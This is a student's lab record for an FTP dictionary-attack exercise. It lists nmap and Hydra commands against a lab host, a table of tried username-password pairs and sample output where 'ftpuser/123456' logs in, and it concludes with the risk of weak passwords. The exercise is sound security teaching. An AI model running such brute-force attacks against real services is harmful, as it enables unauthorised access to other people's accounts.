PRAVEEN V 241901082

Exercise 10
FTP Credential Dictionary Attack

AIM

To identify the FTP service running on a designated lab account and perform a dictionary attack to test authentication, then record the results and analyze the effectiveness of the tested credentials.

PROCEDURE

a) Identifying the FTP Service and Performing the Authentication Exercise

1. Open a terminal in Kali Linux.
2. Scan the target lab machine to identify the FTP service and its port:
   nmap -sV -p 21 <target-IP>
3. Confirm the FTP service banner by connecting manually:
   ftp <target-IP>
4. Prepare a username list and a password dictionary file (e.g., usernames.txt and rockyou.txt or a small custom wordlist).
5. Use Hydra to perform the dictionary attack against the FTP service:
   hydra -L usernames.txt -P passwords.txt ftp://<target-IP>
6. Wait for Hydra to attempt each username-password combination and report any valid login found.

b) Recording Results and Analyzing Effectiveness

1. Note the valid credentials (if any) returned by Hydra, along with the number of attempts made.

2. Manually verify the discovered credentials by logging in directly:
   ftp <target-IP>
   (enter the discovered username and password)
3. Record the total number of attempts, time taken and success/failure for each tested credential pair.
4. Analyze why the successful password was weak (common word, short length, no complexity) and note the effectiveness of the dictionary used.

OBSERVATION TABLE

S.No	**Username Tried**	**Password Tried**	**Result**	**Remarks**
1	admin	admin123	Failed	Not matching
2	admin	password	Failed	Not matching
3	ftpuser	ftpuser	Failed	Not matching
4	ftpuser	123456	Success	Weak, common password
5	root	toor	Failed	Not matching

OUTPUT

Nmap scan output:

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

Hydra output:

[21][ftp] host: 192.168.1.20 login: ftpuser password: 123456

1 of 1 target successfully completed, 1 valid password found

Manual FTP login verification:

Connected to 192.168.1.20.

220 (vsFTPd 3.0.3)

Name: ftpuser

Password: 123456

230 Login successful.

RESULT

Thus, the FTP service on the designated lab account was identified and a dictionary attack was successfully performed. The authentication results were recorded, and the weak password "123456" was found effective, highlighting the risk of using common, easily guessable credentials.